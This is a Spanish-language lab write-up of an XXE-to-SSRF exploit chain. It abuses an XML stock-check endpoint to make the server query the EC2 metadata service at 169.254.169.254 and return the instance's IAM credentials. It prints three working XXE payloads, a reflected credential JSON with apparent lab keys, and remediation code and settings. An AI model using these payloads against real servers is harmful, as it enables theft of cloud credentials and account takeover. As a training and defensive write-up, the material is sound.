XXE→SSRF: robo de credenciales IAM desde el endpoint de metadata EC2 (169.254.169.254)
Cadena XXE→SSRF contra el endpoint de metadata de EC2: la entidad externa hace que el servidor consulte 169.254.169.254 y refleje las credenciales IAM en la respuesta.
1. Target Overview & Vulnerability Summary
La función Check stock parsea XML y refleja los valores inesperados en la respuesta (Invalid product ID: ...). La entidad externa inyectada hace que el servidor actúe como proxy: cualquier URI SYSTEM que apunte a 169.254.169.254 (link-local metadata de EC2) convierte el endpoint en un XXE→SSRF. El objetivo es robar el SecretAccessKey IAM del rol de la instancia.
| Severidad | Endpoint vulnerable | Root cause |
|---|---|---|
| Critical | POST /product/stock (cuerpo XML) |
Parser XML con entidades externas habilitadas; la entidad dispara peticiones HTTP del servidor (SSRF) hacia el metadata endpoint, y su contenido se refleja en la respuesta |
2. Technical Breakdown & Exploitation Flow
2.1 Verificación de la primitiva SSRF
La entidad externa xxe apunta al metadata endpoint; su valor expandido se coloca en productId para que la respuesta lo refleje:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
El servidor consulta http://169.254.169.254/ en nombre del atacante.
2.2 Enumeración del rol IAM
Se navega el árbol de metadata de IAM:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
La respuesta lista el perfil del rol: admin.
2.3 Recuperación del secret
Se apunta a la ruta del perfil concreto:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
La respuesta refleja el JSON completo de credenciales temporales del rol:
"Invalid product ID: {
"Code" : "Success",
"LastUpdated" : "2025-10-11T15:27:31.359806633Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "0gFZzY4xFuyewgDztoFb",
"SecretAccessKey" : "Tra3I9QWUWFvsaR0dB8cK1LMZzwJR7R8ifGEtZIL",
"Token" : "4td3l4XFi5uADhC9kI4okPxVBT6LPbXhmKSB1QslZUUdqYasLVtGclGFvoNr9OW8OpzR1fKtNEWvtCq3X86ZU8AaohJzNoPmTyUMblLCDL9KolVOCWIULPgqIpV6rNwIm3wYKbtGxIcfhApO0bOiqH7jrWNC89ppeKRuaHLi8MHSlyfysYwmIbyg9IeHj6shNvLcZ3eKrBcelxuSG4kSSce5EJdJ41zKgDidDvtFoBRvgstRczi1YZbSjKjlaCvK",
"Expiration" : "2031-10-10T15:27:31.359806633Z"
}"
Con el SecretAccessKey y su Token el lab queda resuelto. La cadena completa es un XXE→SSRF que pivota del parser XML al plano de red de la instancia.
3. Root Cause Analysis
Dos condiciones habilitan la cadena:
- Entidades externas generales habilitadas:
SYSTEMpermite al parser emitir requests HTTP arbitrarios con la identidad de red del servidor, sin restricción de destinos (falta de allowlist de egress). Esto es SSRF clásico materializado desde el parser XML. - Reflejo de valores inesperados:
productIdcon contenido no numérico se devuelve enInvalid product ID: <valor>, convirtiendo el endpoint en un proxy de lectura que materializa el contenido del metadata en la respuesta.
El metadata endpoint de EC2 (169.254.169.254, IP link-local no enrutable) solo es alcanzable desde dentro de la instancia; el SSRF es el único camino para un atacante externo, y el IAM role lo hace especialmente valioso (credenciales temporales con permisos de la instancia).
4. Secure Remediation
Mitigación principal — deshabilitar DTD/entidades externas:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Defensa en profundidad para el plano de red:
- IMDSv2: en EC2, forzar
HttpTokens = required(metadata conX-aws-ec2-metadata-token, token PUT previo con TTL) yHttpPutResponseHopLimit = 1. Un SSRF simple de una sola petición (sin soporte de PUT + token por parte del parser XML) deja de poder leer las credenciales. - Restricción de egress por firewall/security groups en el plano de red del backend hacia
169.254.169.254solo para servicios que realmente lo necesiten. - Validar y tipar
productId/storeIdcomo enteros antes de la query.